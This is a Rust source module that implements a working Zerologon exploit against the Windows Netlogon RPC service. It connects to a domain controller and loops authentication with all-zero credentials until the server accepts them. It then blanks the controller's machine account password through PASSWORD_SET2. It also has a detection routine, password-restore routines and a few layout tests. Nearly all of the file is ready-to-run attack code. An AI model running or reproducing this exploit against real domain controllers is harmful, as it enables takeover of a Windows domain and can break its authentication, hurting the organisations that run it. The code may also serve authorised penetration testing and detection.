use crate::ndr::NdrEncoder;
use crate::transport::RpcTcp;
use crate::{epm, Result, RpcError, Syntax};
pub fn netlogon_syntax() -> Syntax {
Syntax::new("12345678-1234-abcd-ef00-01234567cffb", 1, 0)
}
pub mod opnum {
pub const REQ_CHALLENGE: u16 = 4;
pub const PASSWORD_SET: u16 = 6;
pub const PASSWORD_SET2: u16 = 30;
pub const AUTHENTICATE3: u16 = 26;
}
pub const EMPTY_NT_OWF: [u8; 16] = [
0x31, 0xd6, 0xcf, 0xe0, 0xd1, 0x6a, 0xe9, 0x31, 0xb7, 0x3c, 0x59, 0xd7, 0xe0, 0xc0, 0x89, 0xc0,
];
fn aes_cfb8_encrypt(key: &[u8; 16], data: &[u8]) -> Vec<u8> {
use aes::cipher::{BlockEncrypt, KeyInit};
let cipher = aes::Aes128::new(aes::cipher::generic_array::GenericArray::from_slice(key));
let mut iv = [0u8; 16];
let mut out = Vec::with_capacity(data.len());
for &b in data {
let mut block = aes::cipher::generic_array::GenericArray::clone_from_slice(&iv);
cipher.encrypt_block(&mut block);
let c = b ^ block[0];
out.push(c);
iv.copy_within(1..16, 0);
iv[15] = c;
}
out
}
fn session_key(nt_owf: &[u8; 16], client_ch: &[u8; 8], server_ch: &[u8; 8]) -> [u8; 16] {
use hmac::Mac;
let mut mac = hmac::Hmac::<sha2::Sha256>::new_from_slice(nt_owf).expect("hmac key");
mac.update(client_ch);
mac.update(server_ch);
let r = mac.finalize().into_bytes();
let mut k = [0u8; 16];
k.copy_from_slice(&r[..16]);
k
}
const SERVER_SECURE_CHANNEL: u16 = 6;
const NEG_FLAGS: u32 = 0x212f_ffff;
const STATUS_SUCCESS: u32 = 0x0000_0000;
fn encode_req_challenge(netbios: &str, client_challenge: &[u8; 8]) -> Vec<u8> {
let mut e = NdrEncoder::new();
e.referent(); e.conformant_varying_wstr(netbios);
e.align(4);
e.conformant_varying_wstr(netbios); e.align(4);
e.bytes(client_challenge); e.into_bytes()
}
fn encode_authenticate3(netbios: &str, client_cred: &[u8; 8]) -> Vec<u8> {
let account = format!("{netbios}$");
let mut e = NdrEncoder::new();
e.referent(); e.conformant_varying_wstr(netbios);
e.align(4);
e.conformant_varying_wstr(&account); e.align(2);
e.u16(SERVER_SECURE_CHANNEL); e.align(4);
e.conformant_varying_wstr(netbios); e.align(4);
e.bytes(client_cred); e.u32(NEG_FLAGS); e.into_bytes()
}
fn encode_password_set2(netbios: &str) -> Vec<u8> {
let account = format!("{netbios}$");
let mut e = NdrEncoder::new();
e.referent(); e.conformant_varying_wstr(netbios);
e.align(4);
e.conformant_varying_wstr(&account); e.align(2);
e.u16(SERVER_SECURE_CHANNEL); e.align(4);
e.conformant_varying_wstr(netbios); e.align(4);
e.bytes(&[0u8; 12]);
e.bytes(&[0u8; 516]);
e.into_bytes()
}
fn encode_password_set(netbios: &str, enc_owf: &[u8; 16]) -> Vec<u8> {
let account = format!("{netbios}$");
let mut e = NdrEncoder::new();
e.referent(); e.conformant_varying_wstr(netbios);
e.align(4);
e.conformant_varying_wstr(&account); e.align(2);
e.u16(SERVER_SECURE_CHANNEL);
e.align(4);
e.conformant_varying_wstr(netbios); e.align(4);
e.bytes(&[0u8; 12]); e.bytes(enc_owf); e.into_bytes()
}
pub async fn restore_password(
host: &str,
netbios: &str,
target_nt: &[u8; 16],
max_attempts: u32,
) -> Result<bool> {
let port = epm::resolve_port(host, netlogon_syntax()).await?;
let mut rpc = RpcTcp::connect(&format!("{host}:{port}")).await?;
rpc.bind(netlogon_syntax()).await?;
let zero = [0u8; 8];
for _ in 1..=max_attempts {
let ch = rpc
.call(opnum::REQ_CHALLENGE, &encode_req_challenge(netbios, &zero))
.await?;
let server_ch: [u8; 8] = ch
.get(0..8)
.and_then(|b| b.try_into().ok())
.ok_or_else(|| RpcError::Protocol("short ReqChallenge reply".into()))?;
let auth = rpc
.call(opnum::AUTHENTICATE3, &encode_authenticate3(netbios, &zero))
.await?;
if ret_status(&auth) == STATUS_SUCCESS {
let sk = session_key(&EMPTY_NT_OWF, &zero, &server_ch);
let enc = aes_cfb8_encrypt(&sk, target_nt);
let mut enc_owf = [0u8; 16];
enc_owf.copy_from_slice(&enc);
let resp = rpc
.call(opnum::PASSWORD_SET, &encode_password_set(netbios, &enc_owf))
.await?;
return Ok(ret_status(&resp) == STATUS_SUCCESS);
}
}
Ok(false)
}
fn nl_trust_password(password: &str) -> [u8; 516] {
let utf16: Vec<u8> = password
.encode_utf16()
.flat_map(|u| u.to_le_bytes())
.collect();
let len = utf16.len().min(512);
let mut buf = [0u8; 516];
buf[(512 - len)..512].copy_from_slice(&utf16[utf16.len() - len..]);
buf[512..516].copy_from_slice(&(len as u32).to_le_bytes());
buf
}
fn encode_password_set2_enc(netbios: &str, enc_pw: &[u8; 516]) -> Vec<u8> {
let account = format!("{netbios}$");
let mut e = NdrEncoder::new();
e.referent();
e.conformant_varying_wstr(netbios);
e.align(4);
e.conformant_varying_wstr(&account);
e.align(2);
e.u16(SERVER_SECURE_CHANNEL);
e.align(4);
e.conformant_varying_wstr(netbios);
e.align(4);
e.bytes(&[0u8; 12]); e.bytes(enc_pw);
e.into_bytes()
}
pub async fn restore_password_cleartext(
host: &str,
netbios: &str,
password: &str,
max_attempts: u32,
) -> Result<bool> {
let port = epm::resolve_port(host, netlogon_syntax()).await?;
let mut rpc = RpcTcp::connect(&format!("{host}:{port}")).await?;
rpc.bind(netlogon_syntax()).await?;
let zero = [0u8; 8];
for _ in 1..=max_attempts {
let ch = rpc
.call(opnum::REQ_CHALLENGE, &encode_req_challenge(netbios, &zero))
.await?;
let server_ch: [u8; 8] = ch
.get(0..8)
.and_then(|b| b.try_into().ok())
.ok_or_else(|| RpcError::Protocol("short ReqChallenge reply".into()))?;
let auth = rpc
.call(opnum::AUTHENTICATE3, &encode_authenticate3(netbios, &zero))
.await?;
if ret_status(&auth) == STATUS_SUCCESS {
let sk = session_key(&EMPTY_NT_OWF, &zero, &server_ch);
let enc = aes_cfb8_encrypt(&sk, &nl_trust_password(password));
let mut enc_pw = [0u8; 516];
enc_pw.copy_from_slice(&enc);
let resp = rpc
.call(
opnum::PASSWORD_SET2,
&encode_password_set2_enc(netbios, &enc_pw),
)
.await?;
return Ok(ret_status(&resp) == STATUS_SUCCESS);
}
}
Ok(false)
}
fn ret_status(stub: &[u8]) -> u32 {
stub.get(stub.len().wrapping_sub(4)..)
.and_then(|b| b.try_into().ok())
.map(u32::from_le_bytes)
.unwrap_or(0xFFFF_FFFF)
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum Zerologon {
Vulnerable { attempts: u32 },
NotVulnerable { attempts: u32 },
}
pub async fn detect_zerologon(host: &str, netbios: &str, max_attempts: u32) -> Result<Zerologon> {
let port = epm::resolve_port(host, netlogon_syntax()).await?;
let mut rpc = RpcTcp::connect(&format!("{host}:{port}")).await?;
rpc.bind(netlogon_syntax()).await?;
let zero = [0u8; 8];
for attempt in 1..=max_attempts {
let _ = rpc
.call(opnum::REQ_CHALLENGE, &encode_req_challenge(netbios, &zero))
.await?;
let auth = rpc
.call(opnum::AUTHENTICATE3, &encode_authenticate3(netbios, &zero))
.await?;
if ret_status(&auth) == STATUS_SUCCESS {
return Ok(Zerologon::Vulnerable { attempts: attempt });
}
}
Ok(Zerologon::NotVulnerable {
attempts: max_attempts,
})
}
pub async fn exploit_set_empty_password(
host: &str,
netbios: &str,
max_attempts: u32,
) -> Result<bool> {
let port = epm::resolve_port(host, netlogon_syntax()).await?;
let mut rpc = RpcTcp::connect(&format!("{host}:{port}")).await?;
rpc.bind(netlogon_syntax()).await?;
let zero = [0u8; 8];
for _ in 1..=max_attempts {
let _ = rpc
.call(opnum::REQ_CHALLENGE, &encode_req_challenge(netbios, &zero))
.await?;
let auth = rpc
.call(opnum::AUTHENTICATE3, &encode_authenticate3(netbios, &zero))
.await?;
if ret_status(&auth) == STATUS_SUCCESS {
let resp = rpc
.call(opnum::PASSWORD_SET2, &encode_password_set2(netbios))
.await?;
return Ok(ret_status(&resp) == STATUS_SUCCESS);
}
}
Ok(false)
}
#[allow(dead_code)]
fn _rpc_err(msg: &str) -> RpcError {
RpcError::Protocol(msg.into())
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn syntax_uuid() {
let s = netlogon_syntax();
assert_eq!(s.ver_major, 1);
}
#[test]
fn req_challenge_layout() {
let b = encode_req_challenge("DC01", &[0u8; 8]);
assert_ne!(u32::from_le_bytes(b[0..4].try_into().unwrap()), 0);
assert_eq!(u32::from_le_bytes(b[4..8].try_into().unwrap()), 5);
assert_eq!(&b[b.len() - 8..], &[0u8; 8]);
}
#[test]
fn authenticate3_ends_with_flags() {
let b = encode_authenticate3("DC01", &[0u8; 8]);
assert_eq!(&b[b.len() - 4..], &NEG_FLAGS.to_le_bytes());
}
#[test]
fn ret_status_reads_tail() {
assert_eq!(ret_status(&[0, 0, 0, 0, 0, 0, 0, 0]), 0);
assert_eq!(ret_status(&0xC000_0022u32.to_le_bytes()), 0xC000_0022);
}
}